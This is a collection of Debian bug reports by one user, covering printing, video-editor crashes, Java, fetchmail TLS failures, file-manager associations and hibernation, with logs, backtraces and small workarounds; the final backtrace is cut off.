Bug#989073: cups: Samsung ML-1640 USB printer not working, needs longer USB timeout
Package: cups Version: 2.3.3op2-3 Severity: important Dear Maintainer, Latest cups from unstable doesn't work with old USB printers anymore. At least Samsung ML-1640 just prints an error like "INTERNAL ERROR - Incomplete Session by time out". Root cause seems to be: https://bbs.archlinux.org/viewtopic.php?id=265299 https://github.com/OpenPrinting/cups/pull/160/commits/d2f41769f208729438414c76983385f0f13ef9b7 After applying this patch printing works again: src/cups-2.3.3op2# diff -up backend/usb-libusb.c_orig backend/usb-libusb.c --- backend/usb-libusb.c_orig 2021-05-25 11:41:02.981961321 +0300 +++ backend/usb-libusb.c2021-05-25 11:42:39.990717869 +0300 @@ -1704,7 +1704,7 @@ static void *read_thread(void *reference readstatus = libusb_bulk_transfer(g.printer->handle, g.printer->read_endp, readbuffer, rbytes, - , 250); + , 6); if (readstatus == LIBUSB_SUCCESS && rbytes > 0) { fprintf(stderr, "DEBUG: Read %d bytes of back-channel data...\n", (int)rbytes); Please consider applying this, thanks. Cheers, -Mikko -- System Information: Debian Release: bullseye/sid APT prefers unstable-debug APT policy: (500, 'unstable-debug'), (500, 'testing-debug'), (500, 'stable-debug'), (500, 'proposed-updates-debug'), (500, 'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental-debug') Architecture: amd64 (x86_64) Kernel: Linux 5.10.0-5-amd64 (SMP w/4 CPU threads) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE=en_US:en Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) LSM: AppArmor: enabled Versions of packages cups depends on: ii cups-client2.3.3op2-3 ii cups-common2.3.3op2-3 ii cups-core-drivers 2.3.3op2-3 ii cups-daemon2.3.3op2-3 ii cups-filters 1.28.7-1 ii cups-ppdc 2.3.3op2-3 ii cups-server-common 2.3.3op2-3 ii debconf [debconf-2.0] 1.5.74 ii ghostscript9.53.3~dfsg-7 ii libavahi-client3 0.8-5 ii libavahi-common3 0.8-5 ii libc6 2.31-9 ii libcups2 2.3.3op2-3 ii libgcc-s1 10.2.1-6 ii libstdc++6 10.2.1-6 ii libusb-1.0-0 2:1.0.24-3 ii poppler-utils 20.09.0-3.1 ii procps 2:3.3.17-3 Versions of packages cups recommends: ii avahi-daemon 0.8-5 ii colord1.4.5-3 Versions of packages cups suggests: ii cups-bsd 2.3.3op2-3 pn cups-pdf pn foomatic-db-compressed-ppds | foomatic-db pn smbclient ii udev 247.3-1 -- debconf information: cupsys/raw-print: true cupsys/backend: lpd, socket, usb, snmp, dnssd
Bug#909361: kdenlive: Exiting kdenlive full screen preview kills whole gnome wayland session
Package: kdenlive Version: 18.08.1-1 Severity: normal Dear Maintainer, On an update Debian sid with Gnome 3 with wayland graphics, exiting full screen preview in kdenlive manages to kill the whole Gnome session. This does not happen if Gnome is started with Xorg graphics stack. Steps to reproduce: * login to Gnome3 with wayland * start kdenlive with and empty project * double click with mouse to project monitor to start full screen preview * press ESC key or double click with mouse to exit the preview. After this the whole gnome session is killed and user is greeted by gdm3 for login. Expectation is that the full screen mode is exited and kdelive window displayed. systemd journal has only these hints of the event: Sep 22 14:54:27 dumppi gnome-session[8998]: gnome-session-binary[8998]: WARNING: Application 'org.gnome.SettingsDaemon.Sharing.desktop' killed by signal 15 Sep 22 14:54:27 dumppi gnome-session[8998]: gnome-session-binary[8998]: WARNING: Application 'org.gnome.SettingsDaemon.Wacom.desktop' killed by signal 15 Sep 22 14:54:27 dumppi gnome-session[8998]: gnome-session-binary[8998]: WARNING: Application 'org.gnome.SettingsDaemon.Datetime.desktop' killed by signal 15 Sep 22 14:54:27 dumppi gnome-session[8998]: gnome-session-binary[8998]: WARNING: Application 'org.gnome.SettingsDaemon.Housekeeping.desktop' killed by signal 15 Sep 22 14:54:27 dumppi gnome-session[8998]: gnome-session-binary[8998]: WARNING: Application 'org.gnome.SettingsDaemon.Mouse.desktop' killed by signal 15 Sep 22 14:54:27 dumppi gnome-session[8998]: gnome-session-binary[8998]: WARNING: Application 'org.gnome.SettingsDaemon.PrintNotifications.desktop' killed by sig nal 15 Sep 22 14:54:27 dumppi gnome-session-binary[8998]: WARNING: Application 'org.gno me.SettingsDaemon.Sharing.desktop' killed by signal 15 Sep 22 14:54:27 dumppi gnome-session-binary[8998]: WARNING: Application 'org.gno me.SettingsDaemon.Wacom.desktop' killed by signal 15 Sep 22 14:54:27 dumppi gnome-session-binary[8998]: WARNING: Application 'org.gnome.SettingsDaemon.Datetime.desktop' killed by signal 15 Sep 22 14:54:27 dumppi gnome-session-binary[8998]: WARNING: Application 'org.gnome.SettingsDaemon.Housekeeping.desktop' killed by signal 15 Sep 22 14:54:27 dumppi gnome-session-binary[8998]: WARNING: Application 'org.gnome.SettingsDaemon.Mouse.desktop' killed by signal 15 Sep 22 14:54:27 dumppi gnome-session-binary[8998]: WARNING: Application 'org.gnome.SettingsDaemon.PrintNotifications.desktop' killed by signal 15 Sep 22 14:54:27 dumppi gnome-shell[9006]: Connection to xwayland lost Sep 22 14:54:27 dumppi at-spi-bus-launcher[9022]: XIO: fatal IO error 11 (Resource temporarily unavailable) on X server ":1024" Sep 22 14:54:27 dumppi at-spi-bus-launcher[9022]: after 21 requests (21 known processed) with 0 events remaining. Sep 22 14:54:27 dumppi systemd-logind[534]: Session c16 logged out. Waiting for processes to exit. Sep 22 14:54:27 dumppi systemd-logind[534]: Removed session c16. Sep 22 14:54:27 dumppi systemd[1]: user-runtime-dir@118.service: Unit not needed anymore. Stopping. Sep 22 14:54:27 dumppi systemd[1]: Stopping User Manager for UID 118... Sep 22 14:54:27 dumppi systemd[8983]: Stopping Accessibility services bus... Sep 22 14:54:27 dumppi systemd[8983]: Stopping Sound Service... Sep 22 14:54:27 dumppi systemd[8983]: Stopped target Default. Sep 22 14:54:27 dumppi systemd[8983]: Stopping D-Bus User Message Bus... Sep 22 14:54:27 dumppi systemd[8983]: Stopped D-Bus User Message Bus. Sep 22 14:54:27 dumppi systemd[8983]: Stopped Accessibility services bus. Sep 22 14:54:27 dumppi systemd[8983]: Stopped Sound Service. strace of kdenlive shows a crash: 8728 munmap(0x7f07d5541000, 2113776) = 0 8728 munmap(0x7f07d5746000, 2113864) = 0 8728 munmap(0x7f07d0b25000, 2434056) = 0 8728 munmap(0x7f07d08d8000, 2410928) = 0 8728 munmap(0x7f07d078, 1407712) = 0 8764 <... nanosleep resumed> 0x7f07c51a2c10) = 0 8764 --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x7f07d4a2c815} --- 8764 rt_sigaction(SIGALRM, {sa_handler=SIG_DFL, sa_mask=[ALRM], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7f081b6d8fc0}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0 8764 alarm(3) = 0 8728 munmap(0x7f07f82b3000, 24592 8764 prlimit64(0, RLIMIT_NOFILE, NULL, 8728 <... munmap resumed> )= 0 8764 <... prlimit64 resumed> {rlim_cur=1024, rlim_max=4*1024}) = 0 8733 <... poll resumed> ) = 1 ([{fd=9, revents=POLLIN}]) 8733 write(8, "\1\0\0\0\0\0\0\0", 8) = 8 8733 recvmsg(9, {msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base="l\4\1\1)\0\0\0\23\0\0\0\211\0\0\0", iov_len=16}], msg_iovlen=1, msg_controllen=0, msg_flags=MSG_CMSG_CLOEXEC}, MSG_CMSG_CLOEXEC) = 16 8733 poll([{fd=9, events=POLLIN}], 1, 0) = 1 ([{fd=9, revents=POLLIN}]) ... 8736 <... poll resumed> ) = ? 8753 +++ killed by SIGHUP +++ 8763 +++ killed by SIGHUP +++ 8755 +++ killed by SIGHUP +++ 8736
Bug#894689: davmail does not work with java-9-openjdk
Package: davmail Version: 4.8.3.2554-2 Severity: normal Dear Maintainer, davmail fails to work correctly with latest java-9-openjdk in Debian unstable. Fetching and sending messages fails with an exception trace: Exception in thread "ImapConnection-51322" java.lang.NoClassDefFoundError: javax/activation/DataHandler at davmail.exchange.ExchangeSession$Message.loadMimeMessage(ExchangeSession.java:2018) at davmail.exchange.MessageLoadThread.loadMimeMessage(MessageLoadThread.java:52) at davmail.imap.ImapConnection$MessageWrapper.loadMessage(ImapConnection.java:800) at davmail.imap.ImapConnection$MessageWrapper.getMimeMessageSize(ImapConnection.java:786) at davmail.imap.ImapConnection.handleFetch(ImapConnection.java:847) at davmail.imap.ImapConnection.run(ImapConnection.java:399) Caused by: java.lang.ClassNotFoundException: javax.activation.DataHandler at java.base/jdk.internal.loader.BuiltinClassLoader.loadClass(BuiltinClassLoader.java:582) at java.base/jdk.internal.loader.ClassLoaders$AppClassLoader.loadClass(ClassLoaders.java:185) at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:496) ... 6 more Since downgrading davmail did not help, I checked if I have multiple java JRE versions installed and it turned out I do: # dpkg -l |grep openjdk ii openjdk-8-jre:amd64 8u162-b12-1 amd64OpenJDK Java runtime, using Hotspot JIT ii openjdk-8-jre-headless:amd64 8u162-b12-1 amd64OpenJDK Java runtime, using Hotspot JIT (headless) ii openjdk-9-jre:amd64 9.0.4+12-4 amd64OpenJDK Java runtime, using Hotspot JIT ii openjdk-9-jre-headless:amd64 9.0.4+12-4 amd64OpenJDK Java runtime, using Hotspot JIT (headless) Then I used 'update-alternatives --all' command and switched all java related tools from openjdk-9 to openjdk-8. After restarting davmail, I can now again send and receive messages with it. Maybe davmail could depend on openjdk-8-jre-headless until the root causes are fixed. Thanks, -Mikko -- System Information: Debian Release: buster/sid APT prefers unstable-debug APT policy: (500, 'unstable-debug'), (500, 'unstable'), (500, 'stable'), (500, 'oldstable') Architecture: amd64 (x86_64) Kernel: Linux 4.14.12+ (SMP w/4 CPU cores) Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8), LANGUAGE=en_US:en (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages davmail depends on: ii adduser 3.117 ii default-jre-headless [java9-runtime-headless]2:1.9-62 ii jarwrapper 0.63 ii libcommons-codec-java1.11-1 ii libcommons-httpclient-java 3.1-14 ii libcommons-logging-java 1.2-2 ii libhtmlcleaner-java 2.21-2 ii libjackrabbit-java 2.14.4-1 ii libjcifs-java1.3.19-2 ii liblog4j1.2-java 1.2.17-8 ii libmail-java 1.6.1-1 ii libservlet3.1-java 8.5.29-1 ii libslf4j-java1.7.25-3 ii libstax2-api-java3.1.1-1 ii libwoodstox-java 1:4.1.3-1 ii logrotate3.11.0-0.1 ii lsb-base 9.20170808 ii openjdk-8-jre-headless [java8-runtime-headless] 8u162-b12-1 ii openjdk-9-jre-headless [java9-runtime-headless] 9.0.4+12-4 davmail recommends no packages. Versions of packages davmail suggests: pn libswt-cairo-gtk-4-jni pn libswt-gtk-4-java -- no debconf information
Bug#890381: Why unattended updates are enabled by default?
Hi, I have been wondering why my sid laptop is sometimes spinning the fan and I've seen apt running in the background. I though that was only an update of the package index and not actual upgrades. Then I've lately had several odd system lockups on Gnome desktop running on wayland. And crashes of various applications. Then today I saw that unattended-updates were running dpkg automatically, which I have not enabled since this is sid/unstable. I traced this back to apt daily systemd timers. Why are these updates enabled by default? To me it does not make sense on sid/unstable to enable automatic updates by default. Even on stable I would expect that just installing some packages does not automatically enable installing updates which may break things on a running system which needs reboots and restart anyway to make the updates effective. And yes, I've been on expensive mobile broadband when traveling lately and am a bit afraid of getting expensive bills in a few weeks... -Mikko
Bug#874003: Also affected on uptodate sid
On Tue, Feb 27, 2018 at 12:49:41AM +0200, Mikko Rapeli wrote: > Testing changes to desktop files shows that exo-file-manager.desktop > is to blame for this behavior. It does correctly set OnlyShowIn=XFCE; so > I don't get why it gets used in a Gnome session: > > $ cat /usr/share/applications/exo-file-manager.desktop > [Desktop Entry] > Version=1.0 > Type=Application > Exec=exo-open --launch FileManager %u > Icon=system-file-manager > StartupNotify=true > Terminal=false > Categories=Utility;X-XFCE;X-Xfce-Toplevel; > OnlyShowIn=XFCE; > X-XFCE-MimeType=inode/directory;x-scheme-handler/trash; > Name=File Manager > ... > > But moving this file away from /usr/share/applications > fixes external application starting from nautilus: > > # mv /usr/share/applications/exo-file-manager.desktop /root/ This isn't needed after all. I traced the likely root cause on my Debian sid installation to ~/.local/share/applications/mimeapps.list entry: [Added Associations] ... x-scheme-handler/file=exo-file-manager.desktop Commenting out this line fixes the issues for me. I was previously using Xfce and switched to Gnome so these entries might be really old. I still don't get what made this break few days ago though. -Mikko
Bug#874003: Also affected on uptodate sid
On Sun, Feb 25, 2018 at 02:35:28PM -0500, Jeremy Bicha wrote: > I suggest looking into what xdg-utils does. Looks like xdg-utils, or at least xdg-open is not the one to blame since it is calling gio open: $ sh -x $( which xdg-open) video.mp4 + check_common_commands video.mp4 + [ 1 -gt 0 ] + parm=video.mp4 + shift + [ 0 -gt 0 ] + [ -z ] + unset XDG_UTILS_DEBUG_LEVEL + [ 0 -lt 1 ] + xdg_redirect_output= > /dev/null 2> /dev/null + [ xvideo.mp4 != x ] + url= + [ 1 -gt 0 ] + parm=video.mp4 + shift + [ -n ] + url=video.mp4 + [ 0 -gt 0 ] + [ -z video.mp4 ] + detectDE + unset GREP_OPTIONS + [ -n GNOME ] + DE=gnome + [ xgnome = x ] + [ xgnome = x ] + [ xgnome = x ] + [ xgnome = xgnome ] + which gnome-default-applications-properties + DE=gnome3 + [ -f /run/user/1000/flatpak-info ] + [ xgnome3 = x ] + DEBUG 2 Selected DE gnome3 + [ -z ] + return 0 + open_gnome3 video.mp4 + gio help open + gio open video.mp4 + [ 0 -eq 0 ] + exit_success + [ 0 -gt 0 ] + exit 0 ** (exo-helper-1:20332): WARNING **: Could not open X display Gtk-Message: GtkDialog mapped without a transient parent. This is discouraged. My mime setup for video files is mplayer and that seems to correctly there: $ xdg-mime query default video/mp4 userapp-mplayer-9GFM9U.desktop Testing changes to desktop files shows that exo-file-manager.desktop is to blame for this behavior. It does correctly set OnlyShowIn=XFCE; so I don't get why it gets used in a Gnome session: $ cat /usr/share/applications/exo-file-manager.desktop [Desktop Entry] Version=1.0 Type=Application Exec=exo-open --launch FileManager %u Icon=system-file-manager StartupNotify=true Terminal=false Categories=Utility;X-XFCE;X-Xfce-Toplevel; OnlyShowIn=XFCE; X-XFCE-MimeType=inode/directory;x-scheme-handler/trash; Name=File Manager ... But moving this file away from /usr/share/applications fixes external application starting from nautilus: # mv /usr/share/applications/exo-file-manager.desktop /root/ -Mikko
Bug#874003: Also affected on uptodate sid
On Sun, Feb 25, 2018 at 08:33:44PM +0200, Mikko Rapeli wrote: > When opening files from nautilus it complains > > "Failed to execute default File Manager. > Input/Output error" strace showed to me that nautilus calls gio which for some reason ends up calling exo-open from Xfce desktop which fails. This has possibly something to do with Gnome 3 running with wayland and Xfce runs under X11. execve("/usr/bin/gio", ["gio", "open", "video.mp4"], 0x7ffd8d0aff40 /* 45 var s */) = 0 ... openat(AT_FDCWD, "/usr/share/applications/exo-file-manager.desktop", O_RDONLY) = 8 ... ** (exo-helper-1:4657): WARNING **: Could not open X display Gtk-Message: GtkDialog mapped without a transient parent. This is discouraged. After removing exo-utils package nautilus can open files again with external applications. So 'apt-get remove exo-utils' is the best workaround thus far. Maybe exo-utils from Xfce is hijacking something from Gnome desktop... -Mikko
Bug#874003: Also affected on uptodate sid
When opening files from nautilus it complains "Failed to execute default File Manager. Input/Output error" As mentioned here, opening files with "Open With Other Application" works. This started in for me yesterday after applying updates. I did not change anything in gnome configuration. -- System Information: Debian Release: buster/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing') Architecture: amd64 (x86_64) Kernel: Linux 4.15.5+ (SMP w/4 CPU cores; PREEMPT) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE=en_US:en (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages nautilus depends on: ii desktop-file-utils 0.23-2 ii gsettings-desktop-schemas 3.27.90-1 ii gvfs 1.34.1-2 ii libatk1.0-02.26.1-3 ii libc6 2.26-6 ii libcairo-gobject2 1.15.10-1 ii libcairo2 1.15.10-1 ii libexempi3 2.4.4-1 ii libexif12 0.6.21-4 ii libgail-3-03.22.28-1 ii libgdk-pixbuf2.0-0 2.36.11-1 ii libglib2.0-0 2.54.3-2 ii libglib2.0-data2.54.3-2 ii libgnome-autoar-0-00.2.2-3 ii libgnome-desktop-3-12 3.26.2-6 ii libgtk-3-0 3.22.28-1 ii libnautilus-extension1a3.26.2-2 ii libpango-1.0-0 1.40.14-1 ii libpangocairo-1.0-01.40.14-1 ii libselinux12.7-2+b1 ii libtracker-sparql-2.0-02.0.3-1 ii libx11-6 2:1.6.4-3 ii nautilus-data 3.26.2-2 ii shared-mime-info 1.9-2 Versions of packages nautilus recommends: ii gnome-sushi 3.24.0-3 ii gvfs-backends1.34.1-2 ii librsvg2-common 2.40.20-2 Versions of packages nautilus suggests: ii eog 3.26.2-3 ii evince [pdf-viewer] 3.26.0-3 ii nautilus-extension-brasero 3.12.2-4 ii nautilus-sendto 3.8.6-2 ii totem 3.26.0-3 ii tracker 2.0.3-1 ii vlc [mp3-decoder] 3.0.0-1 ii xdg-user-dirs 0.16-1
Bug#885534: linux-image-4.14.0-1-amd64: display restarts while entering hibernation/suspend to disk
Package: src:linux Version: 4.14.2-1 Severity: minor Dear Maintainer, For quite some time I've been wondering why laptops running Debian restart the displays while entering suspend to disk/hibernation. Since this is now happening with three of my laptops I decided to file a bug, and since this happens with both Xorg and Wayland I blame kernel for now. When starting hibernation from userspace, all my Debian unstable machines freeze the display and then shut it down. But a few seconds/milliseconds later the display is restarted with full brightness with the content that was available on the screen before entering hibernation. This sounds like a bug or a bad configuration in display drivers or graphics stack. My expectation for entering hibernation, which can be wrong, is that kernel freezes userspace processes and shuts down all drivers. I would have thought that Intel i915 drivers would support this completely and shut down the display only once. When I enter: # echo disk > /sys/power/state display goes black (or turns of) immediately on this Thinkpad X1 Carbon laptop with Intel chips. Then LED on the power button blinks for a few seconds and then display comes back with full brightness and power button LED stops blinking. Then a few seconds later the whole machine shuts down. This wakeup of display seems odd. It happens on this machine as well as a Thinkpad T60 and HP EliteBook running Debian unstable with Xorg and Xfce. Only thing in common with these machines is Debian unstable and Intel chips. What could be causing this and is there maybe a simple fix or configuration option available? -- Package-specific info: ** Version: Linux version 4.14.0-1-amd64 (debian-ker...@lists.debian.org) (gcc version 7.2.0 (Debian 7.2.0-16)) #1 SMP Debian 4.14.2-1 (2017-11-30) ** Command line: BOOT_IMAGE=/vmlinuz-4.14.0-1-amd64 root=/dev/mapper/dumppi--vg-root ro quiet ** Tainted: W (512) * Taint on warning. ** Kernel log: Unable to read kernel log; any relevant messages should be attached ** Model information sys_vendor: LENOVO product_name: 20BTS0HJ0Q product_version: ThinkPad X1 Carbon 3rd chassis_vendor: LENOVO chassis_version: None bios_vendor: LENOVO bios_version: N14ET38W (1.16 ) board_vendor: LENOVO board_name: 20BTS0HJ0Q board_version: SDK0E50510 WIN ** Loaded modules: uinput fuse ctr ccm rfcomm cmac bnep iTCO_wdt iTCO_vendor_support btusb btrtl arc4 btbcm btintel bluetooth intel_rapl x86_pkg_temp_thermal intel_powerclamp coretemp kvm_intel snd_hda_codec_hdmi wmi_bmof kvm irqbypass intel_cstate iwlmvm drbg mac80211 ansi_cprng uvcvideo intel_uncore videobuf2_vmalloc videobuf2_memops videobuf2_v4l2 videobuf2_core intel_rapl_perf iwlwifi videodev snd_hda_codec_realtek evdev joydev intel_pch_thermal sg media snd_hda_codec_generic serio_raw pcspkr lpc_ich cfg80211 ecdh_generic mfd_core i915 wmi ac thinkpad_acpi snd_hda_intel nvram rfkill drm_kms_helper battery snd_hda_codec snd_hda_core drm snd_hwdep snd_pcm snd_timer mei_me snd video i2c_algo_bit soundcore mei button shpchp ip_tables x_tables autofs4 ext4 crc16 mbcache jbd2 crc32c_generic fscrypto ecb algif_skcipher af_alg dm_crypt dm_mod sd_mod crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel pcbc i2c_i801 aesni_intel aes_x86_64 crypto_simd glue_helper cryptd psmouse e1000e ahci libahci libata xhci_pci ehci_pci scsi_mod xhci_hcd ehci_hcd ptp usbcore pps_core usb_common thermal ** PCI devices: 00:00.0 Host bridge [0600]: Intel Corporation Broadwell-U Host Bridge -OPI [8086:1604] (rev 09) Subsystem: Lenovo Broadwell-U Host Bridge -OPI [17aa:2227] Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- Kernel driver in use: bdw_uncore 00:02.0 VGA compatible controller [0300]: Intel Corporation HD Graphics 5500 [8086:1616] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Lenovo HD Graphics 5500 [17aa:2227] Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- Kernel driver in use: i915 Kernel modules: i915 00:03.0 Audio device [0403]: Intel Corporation Broadwell-U Audio Controller [8086:160c] (rev 09) Subsystem: Lenovo Broadwell-U Audio Controller [17aa:2227] Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- Kernel driver in use: snd_hda_intel Kernel modules: snd_hda_intel 00:14.0 USB controller [0c03]: Intel Corporation Wildcat Point-LP USB xHCI Controller [8086:9cb1] (rev 03) (prog-if 30 [XHCI]) Subsystem: Lenovo Wildcat Point-LP USB xHCI Controller [17aa:2227] Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR-
Bug#872754: fetchmail: tls_process_server_hello:unsupported protocol
I hit this bug/feature too. After upgrading fetchmail to 6.3.26-3, some inboxes were silently ignored. The usual error emails from fetchmail were not sent. I only discovered this several weeks later :( Debugging shows: $ apt-cache policy fetchmail fetchmail: Installed: 6.3.26-3 Candidate: 6.3.26-3 Version table: *** 6.3.26-3 500 500 http://ftp.de.debian.org/debian stretch/main amd64 Packages 500 http://ftp.de.debian.org/debian sid/main amd64 Packages 100 /var/lib/dpkg/status 6.3.26-1+b1 500 500 http://ftp.de.debian.org/debian jessie/main amd64 Packages $ fetchmail -c -v -v -v Old UID list from email-server: Old UID list from localhost: Scratch list of UIDs: fetchmail: --check mode enabled, not fetching mail fetchmail: 6.3.26 querying email-server (protocol IMAP) at Tue 10 Oct 2017 10:33:30 AM CEST: poll started Trying to connect to 10.0.0.1/993...connected. fetchmail: OpenSSL reported: error:1417118C:SSL routines:tls_process_server_hello:version too low fetchmail: SSL connection failed. fetchmail: socket error while fetching from user@email-server fetchmail: 6.3.26 querying email-server (protocol IMAP) at Tue 10 Oct 2017 10:33:30 AM CEST: poll completed Merged UID list from email-server: fetchmail: 6.3.26 querying localhost (protocol IMAP) at Tue 10 Oct 2017 10:33:30 AM CEST: poll started OpenSSL shows that the server is using TLSv1: $ openssl s_client -host 10.0.0.1 -port 993 CONNECTED(0003) No client certificate CA names sent Server Temp Key: ECDH, P-256, 256 bits --- SSL handshake has read 1286 bytes and written 310 bytes Verification error: unable to verify the first certificate --- New, TLSv1.0, Cipher is ECDHE-RSA-AES256-SHA Server public key is 2048 bit Secure Renegotiation IS supported Compression: NONE Expansion: NONE No ALPN negotiated SSL-Session: Protocol : TLSv1 Cipher: ECDHE-RSA-AES256-SHA Session-ID: 6E1A980314FC8F72FAE53500BA7018F4FDE74E04C428AD573A1CF5259CA8 Session-ID-ctx: Master-Key: 9532468A10452BCCB3812E8219DA407B01FC5303D5FFB4D934D6D7A9B1BC929D4A846D233EAB779C01367D6511CB7C01 PSK identity: None PSK identity hint: None SRP username: None Start Time: 1507625022 Timeout : 7200 (sec) Verify return code: 21 (unable to verify the first certificate) Extended master secret: yes --- * OK The Microsoft Exchange IMAP4 service is ready. Downgrading to fetchmail to 6.3.26-1+b1 is a workaround, as is adding --sslproto TLS1 command line parameter. fetchmail should really fail more loudly when there are ssl problems. -Mikko
Bug#819584: eog fails to display JPG's
On Sun, Apr 17, 2016 at 03:43:51PM +0200, Michael Biebl wrote: > Control: tags -1 + moreinfo unreproducible > > On Wed, 30 Mar 2016 22:04:10 +0200 Mikko Rapeli <mikko.rap...@iki.fi> wrote: > > Package: eog > > Version: 3.18.2-1 > > Severity: normal > > > > Dear Maintainer, > > > > With JPG's from my Sony camera eog only displays a gray screen. Metadata > > from the files is displayed correctly. Firefox, GIMP etc display these > > files correctly on screen. > > > > Example JPG file: https://mcfrisk.kapsi.fi/temp/DSC06824.JPG > > > > Screenshot from eog: > > https://mcfrisk.kapsi.fi/temp/eog_screenshot_DSC06754_displayed_as_gray_only.png > > This works fine here on an up-to-date sid system (amd64) with eog 3.18.2-1 > > Can you still reproduce the bug? Yes, all the time on i686 Thinkpad T60 with: 00:02.0 VGA compatible controller: Intel Corporation Mobile 945GM/GMS, 943/940GML Express Integrated Graphics Controller (rev 03) Maybe GPU or something else in my graphics stack is causing this. Running XFCE on this old machine. Like said, gimp and firefox don't have any problems displaying the images but they are too slow for casual photo browsing. I would like to debug this but don't have any idea where to begin. -Mikko
Bug#820009: kdenlive: Crash from clip preview
Package: kdenlive Version: 15.12.3-1 Severity: normal Dear Maintainer, I've had kdenlive running for a while to create proxy clips. Machine has been sent to hibernation and sleep several during that time. Then when I try to play the rendered proxy clips this crash happened: [Thread 0x982fdb40 (LWP 17311) exited] Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x9f973b40 (LWP 9941)] 0x802e4e5e in QOpenGLFunctions::glGenTextures (textures=0x832b4050, n=3, this=0xa360de40) at /usr/include/i386-linux-gnu/qt5/QtGui/qopenglfunctions.h:782 782 /usr/include/i386-linux-gnu/qt5/QtGui/qopenglfunctions.h: No such file or directory. (gdb) bt full #0 0x802e4e5e in QOpenGLFunctions::glGenTextures (textures=0x832b4050, n=3, this=0xa360de40) at /usr/include/i386-linux-gnu/qt5/QtGui/qopenglfunctions.h:782 No locals. #1 uploadTextures (texture=, frame=..., context=) at /build/kdenlive-KOLzQo/kdenlive-15.12.3/src/monitor/glwidget.cpp:333 width = 1920 height = 1080 image = 0x914fa030 'o' , 'p' , 'o' , 'n' , 'm' , ""... f = 0xa360de40 #2 FrameRenderer::showFrame (this=0x832b4038, frame=) at /build/kdenlive-KOLzQo/kdenlive-15.12.3/src/monitor/glwidget.cpp:1219 width = 1920 height = 1080 format = mlt_image_yuv420p f = 0xa360de40 #3 0x80422d19 in FrameRenderer::qt_static_metacall (_o=0x832b4038, _c=QMetaObject::InvokeMetaMethod, _id=6, _a=0x8b495308) at /build/kdenlive-KOLzQo/kdenlive-15.12.3/obj-i586-linux-gnu/src/moc_glwidget.cpp:773 ---Type to continue, or q to quit--- _t = 0x832b4038 _c = QMetaObject::InvokeMetaMethod _a = 0x8b495308 _id = 6 _o = 0x832b4038 #4 0xb4bf03a0 in QMetaCallEvent::placeMetaCall(QObject*) () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #5 0xb4bf41c3 in QObject::event(QEvent*) () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #6 0xb49e6fe7 in QThread::event(QEvent*) () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #7 0xb5be40da in QApplicationPrivate::notify_helper(QObject*, QEvent*) () from /usr/lib/i386-linux-gnu/libQt5Widgets.so.5 No symbol table info available. #8 0xb5be97dc in QApplication::notify(QObject*, QEvent*) () from /usr/lib/i386-linux-gnu/libQt5Widgets.so.5 No symbol table info available. #9 0xb4bc375f in QCoreApplication::notifyInternal(QObject*, QEvent*) () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. ---Type to continue, or q to quit--- #10 0xb4bc5e3f in QCoreApplicationPrivate::sendPostedEvents(QObject*, int, QThreadData*) () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #11 0xb4bc6327 in QCoreApplication::sendPostedEvents(QObject*, int) () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #12 0xb4c1b683 in ?? () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #13 0xb3f2d029 in g_main_context_dispatch () from /lib/i386-linux-gnu/libglib-2.0.so.0 No symbol table info available. #14 0xb3f2d2c9 in ?? () from /lib/i386-linux-gnu/libglib-2.0.so.0 No symbol table info available. #15 0xb3f2d394 in g_main_context_iteration () from /lib/i386-linux-gnu/libglib-2.0.so.0 No symbol table info available. #16 0xb4c1ba94 in QEventDispatcherGlib::processEvents(QFlags) () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #17 0xb4bc0893 in QEventLoop::processEvents(QFlags) () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #18 0xb4bc0cea in QEventLoop::exec(QFlags) () ---Type to continue, or q to quit--- from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #19 0xb49e6edd in QThread::exec() () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #20 0xb49e6fb8 in QThread::run() () from /usr/lib/i386-linux-gnu/sse2/libQt5Core.so.5 No symbol table info available. #21 0xb49ec3fb in 